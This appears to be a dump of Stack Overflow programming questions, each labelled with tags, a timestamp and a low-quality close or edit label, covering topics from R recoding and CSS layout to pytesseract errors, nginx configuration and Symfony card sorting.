| <regex><python-3.x> | 2020-02-05 22:33:59 | LQ_CLOSE |
60,085,491 | Is there and R function for recording variables? | I’m making the leap from SPSS to R but having a few teething issues.
For example, I’m trying to record a variable but I’m getting error messages. I can select cases easily enough. Is it a similar process?
Here’s the SPSS code I’m trying to translate:
RECODE income (1, 2 = 1) (3, 4 = 2) INTO income2.
EXECUTE.
CROSSTABS income2 by income.
* Recode to String.
STRING sex_values (A8).
RECODE sex (1 = 'Male') (2 = 'Female') INTO sex_values.
EXECUTE.
CROSSTABS sex_values by sex.
Grateful for any pointers as I think I’ve confused myself.
Cheers.
| <r><spss> | 2020-02-05 23:15:26 | LQ_EDIT |
60,085,955 | How do I make a <div> stay on the bottom of the screen unless there is overflow? | <p>I want my website to have a that is used as a footer, but I want it to stay at the bottom of the page, but when I add content to the website, I want the to go down with the overflow. Is there a way to do that? </p>
| <html><css> | 2020-02-06 00:13:48 | LQ_CLOSE |
60,086,999 | Which CRMs allow two-way conversational SMS/TXT messaging? | <p>I am looking for a CRM like Klaviyo that supports 2-way SMS txt messaging.
Most I come across only seem to do 1-way messaging.</p>
<p>Anyone know of one that is decent and supports 2-way SMS txt messaging?</p>
| <sms><crm> | 2020-02-06 02:45:09 | LQ_CLOSE |
60,087,635 | Mutiple API controllers into single | <p>I have multiple API controllers is there clean way to merge all?
Lot of code in different controller is redundant so need to clean it</p>
| <c#><api><asp.net-core-webapi> | 2020-02-06 04:13:16 | LQ_CLOSE |
60,088,585 | Key-Value from long list of similar items | I have a python dictionary looking like this
[{'actual': 4.99, 'estimate': 4.55, 'period': '2019-12-31', 'symbol': 'AAPL'}, {'actual': 3.03, 'estimate': 2.84, 'period': '2019-09-30', 'symbol': 'AAPL'}, {'actual': 2.18, 'estimate': 2.1, 'period': '2019-06-30', 'symbol': 'AAPL'}]
and I need to extract the actual/estimate values for each period. Then I need to divide these vales each other. Thanks
| <python><list><dictionary><key> | 2020-02-06 06:02:26 | LQ_EDIT |
60,089,559 | I wanna add an input field to get **day and month** from user , i don't want the year , how can i do that in HTML? | <p>Can someone help me to get <strong>day and month</strong> from user as Increment Date of an Employee?</p>
| <javascript><html><datepicker> | 2020-02-06 07:16:59 | LQ_CLOSE |
60,090,862 | How to remove side space | <p>I'm working on this website <a href="http://shapeofyou.lotusong.info/" rel="nofollow noreferrer">http://shapeofyou.lotusong.info/</a> and I am trying to make the boxes on the main page fill up the entire screen. How do I do that? I tried looking for any padding or margin but there wasn't any. Any help will be appreciated. </p>
<p>Thanks!</p>
| <css><wordpress><wordpress-theming> | 2020-02-06 08:46:15 | LQ_CLOSE |
60,090,995 | TypeError: an integer is required (got type tuple)? | <p>This code was working few days ago. But now getting typeerror </p>
<p>CODE: </p>
<pre><code>import cv2
import numpy as np
import pytesseract
from langdetect import detect_langs
from pytesseract import *
from flask import Flask,request
import requests
try:
from PIL import Image
except ImportError:
import Image
#pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files/Tesseract-OCR/tesseract.exe'
img = Image.open('G:/Agrima/example_code_API/OCR/FDA.png')
#h, w, c = img.shape
d = pytesseract.image_to_data(img,output_type=Output.DICT)
detected_ocr = image_to_string(img)
points = []
n_boxes = len(d['text'])
for i in range(n_boxes):
if int(d['conf'][i]) > 60:
(x, y, w, h) = (d['left'][i], d['top'][i], d['width'][i],d['height'][i])
img = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)
mark = {'x':x,'y':y,'width':w,'height':h}
points.append({'mark':mark})
# print(points)
cv2.imshow('img', img)
cv2.waitKey(0)
</code></pre>
<p>Error in <code>img = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)</code></p>
<p>Also tried changing to <code>img = cv2.rectangle(img, int((x, y)), int((x + w, y + h)), (0, 255, 0), 2)</code></p>
<p>Error log : </p>
<blockquote>
<p>img = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)
TypeError: an integer is required (got type tuple)</p>
</blockquote>
| <python><python-3.x><opencv><cv2><bounding-box> | 2020-02-06 08:53:28 | LQ_CLOSE |
60,092,448 | Fetching the results of a SQL query into a hash map in PERL | <p>I am a beginner to perl. So am just trying out some random perl codes.
I have an sql query which gives me a number of rows, with 2 values in each row.
I want to store this result into a hash say</p>
<pre><code>%result_hash
</code></pre>
<p>in such a way that the first value will be the key and second one will be its value.</p>
<p>I tried it with a while-loop which iterates over each row. Its working fine.
I wanted to know if there is any other simpler way of doing this..</p>
| <perl><hash><iteration> | 2020-02-06 10:10:11 | LQ_CLOSE |
60,092,560 | Compare dates between start date and end date with two dataframe in python | I have two data frames. Both are different shapes.
First Dataframe:-
```
start_date end_date id
01 15/03/19 15:30 31/03/19 15:30 11
02 31/03/19 15:30 15/04/19 15:30 12
03 15/04/19 15:30 30/04/19 15:30 13
```
Second data frame:-
```
item_id puchase_at amount
0 100 15/03/19 15:33 149
1 200 8/04/19 15:47 4600
2 300 17/04/19 15:31 8200
3 400 20/04/19 16:00 350
```
I want the expected output:-
```
item_id purchase_at amount id
0 100 15/03/19 15:33 149 11
1 200 8/04/19 15:47 4600 12
2 300 17/04/19 15:31 8200 13
3 400 20/04/19 16:00 350 13
```
how to get it expected output? | <python><pandas><datetime><join><merge> | 2020-02-06 10:16:15 | LQ_EDIT |
60,094,551 | adding data in table in MS teams message card | <p>Want to display data in table like this in the message card. Any pointers???</p>
<p><a href="https://i.stack.imgur.com/f6ggE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/f6ggE.png" alt="enter image description here"></a></p>
| <webhooks><microsoft-teams> | 2020-02-06 12:01:55 | LQ_CLOSE |
60,096,055 | which one is faster data types in .net or data types in c#? | <p>Hi to all first of all i am sorry because my first language is not english
I want understand which one is faster C# data types or .net data types
i try to understand by below code and i think .net data types is faster(is this correct?)
i test this code both with x86 and x64 platform</p>
<pre><code> SW.Start();
for (Int32 i = 0; i < 99999; i++)
{
for (Int32 j = 0; j < 999; j++)
{
Int32 a = 37;
Int32 b = 37;
Double c = Math.Pow(a, b);
String d = "abcde";
String e = "abcde";
String f = d + e;
}
}
Console.WriteLine(SW.Elapsed.TotalMilliseconds);
SW.Stop();
Console.ReadKey();
</code></pre>
<p>and my second code</p>
<pre><code>
Stopwatch SW = new Stopwatch();
SW.Start();
for (int i = 0; i < 99999; i++)
{
for (int j = 0; j < 999; j++)
{
int a = 37;
int b = 37;
double c = Math.Pow(a, b);
string d = "abcde";
string e = "abcde";
string f = d + e;
}
}
Console.WriteLine(SW.Elapsed.TotalMilliseconds);
SW.Stop();
Console.ReadKey();
</code></pre>
<p>thank a lot</p>
| <c#><.net> | 2020-02-06 13:26:24 | LQ_CLOSE |
60,096,336 | How to run java jars on nginx server locally? | <p>I pretty new to Nginx and I want to run some java jars on Nginx server in my local machine. How can I achieve this?</p>
<p>I have downloaded nginx for windows from <a href="http://nginx.org/en/download.html" rel="nofollow noreferrer">http://nginx.org/en/download.html</a>
My Nginx version : 1.16.1
My java jars are in the folder - E:\myapp
How do I point my java jars location in my Nginx server config?</p>
<p>My Nginx Server config is as below (nginx.conf)</p>
<pre><code>#user nobody;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
server {
listen 3000;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
alias E:\myapp
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
</code></pre>
| <java><nginx><jar><nginx-config> | 2020-02-06 13:41:07 | LQ_CLOSE |
60,097,165 | getting null value in function variable that assign in ajax success function in javascript | <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code> function getData(url) {
var responseData = null;
$.ajax({
type: "GET",
url: url,
crossDomain: true,
async: false,
contentType: "application/json; charset=utf-8",
dataType: "jsonp",
success: function (result) {
responseData = result;
}
});
console.log(responseData);
return responseData;
}
var getapidata= getData('https://jsonplaceholder.typicode.com/todos/1');
console.log('getapidata',getapidata);</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script></code></pre>
</div>
</div>
</p>
| <javascript><ajax> | 2020-02-06 14:24:14 | LQ_CLOSE |
60,098,093 | Find a string in HTML and print value | I'm posting to a webpage and in my respose I get a big chunk of HTML that will change next request.
With groovy I'd like to find this string:
var WPQ1FormCtx = {"ListData":{"owshiddenversion":23,
The value "23" will change next time I post to the webpage, and I need that value.
With .contains I'll find if string exists.
def htmlParse = Jsoup.parse(htmlResponse)
log.info a.contains('var WPQ1FormCtx = {"ListData":{"owshiddenversion":23,')
But I need to write out the value after 'var WPQ1FormCtx = {"ListData":{"owshiddenversion":**xxxxx**,
that can be anything from 1 to 100 000. | <java><html><regex><groovy><soapui> | 2020-02-06 15:10:48 | LQ_EDIT |
60,098,706 | How neural networks/ML could help for micro service? | <p>I am wondering whether neural networks could help in monitoring the user request for micro services and also for monolithic service which will improve the performance of the productivity. I need a detailed advice about my query.</p>
<p>I have got this to know when reading <a href="https://techbeacon.com/enterprise-it/how-ancestry-used-ai-optimize-its-microservices-apps" rel="nofollow noreferrer">this</a> article. I am also interested in any other ideas that ML could help micro services or in monitoring server.</p>
| <machine-learning><neural-network><artificial-intelligence><microservices><network-monitoring> | 2020-02-06 15:41:53 | LQ_CLOSE |
60,098,774 | more syntax in Java | <p><a href="https://i.stack.imgur.com/8C5VE.png" rel="nofollow noreferrer">enter image description here</a></p>
<p>Hey everyone, i'm just beginning to learn Java. I encounter a java program and see the keyword 'more'. Can anyone explain what 'more' does in this situation</p>
| <java> | 2020-02-06 15:46:38 | LQ_CLOSE |
60,098,891 | I want to be able to shorten code in python, how can I do that? | <p>I am making a discord bot in python with discord.py. I want to know how i can shorten this function to fewer lines. This function takes a command (-cf red, for example) and flips a coin with both a red side and a blue side. When the results are in the code sends a DM to the person doing the coinflip while at the same time sending the results in the chat.</p>
<pre><code>@bot.command(aliases=['coinflip'])
async def cf(ctx, *, cfchoice):
cfResults = random.choice(['red','blue'])
userId = ctx.message.author.id
user = bot.get_user(userId)
time.sleep(1)
# If the user wins the coinflip
if cfchoice == cfResults:
# Send result in the channel
await ctx.send(f'It is {cfResults}!')
# Send a DM to the person
await user.send('You won on coinflip! Well done.')
# If the user loses the coinflip
elif cfchoice != cfResults:
# Send result in the channel
await ctx.send(f'It is {cfResults}!')
# Send a DM to the person
await user.send('You lost on coinflip! Good luck next time.')
</code></pre>
| <python><bots><discord><discord.py> | 2020-02-06 15:52:40 | LQ_CLOSE |
60,099,224 | Hello! How can I change this condition so that it does not always evaluate to "false" since it was reported as a "Code smell" violation | <p><a href="https://i.stack.imgur.com/pqYTy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pqYTy.png" alt="enter image description here"></a></p>
<p>Hello! How can I change this condition so that it does not always evaluate to "false" since it was reported as a "Code smell" violation in sonarqube? Thank you</p>
| <java><sonarqube> | 2020-02-06 16:10:08 | LQ_CLOSE |
60,101,076 | how to sort card in symfony | <p>i am beginner in <code>symfony</code> and I want to sort (with <code>SYMFONY</code> 3) a hand of 10 <code>cards</code> (given randomly to the user) according to this order :
Category order : DIAMOND – HEART – SPADES – CLUB.
Value order : AS – 2 – 3 – 4 – 5 – 6 – 7 – 8 – 9 – 10 – JACK – QUEEN – KING .
For exemple : i recover the user’s 10 random cards through a JSON file : </p>
<pre><code>{
"cards":[
{
"category":"DIAMOND",
"value":"TEN"
},
{
"category":"CLUB",
"value":"ACE"
},
{
"category":"DIAMOND",
"value":"QUEEN"
},
{
"category":"SPADES",
"value":"SEVEN"
},
{
"category":"DIAMOND",
"value":"NINE"
},
{
"category":"HEART",
"value":"QUEEN"
},
{
"category":"CLUB",
"value":"TEN"
},
{
"category":"HEART",
"value":"FIVE"
},
{
"category":"HEART",
"value":"SEVEN"
}
]
}
</code></pre>
<p>The sorted cards become : ACE CLUB /FIVE HEART / SIX CLUB/ SEVEN HEART / SEVEN SPADES / NINE DIAMOND / TEN DIAMOND /TEN CLUB/ QUEEN DIAMOND/ QUEEN HEART
I Don’t know how to start ?</p>
| <php><symfony><symfony-3.4> | 2020-02-06 18:04:22 | LQ_CLOSE |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.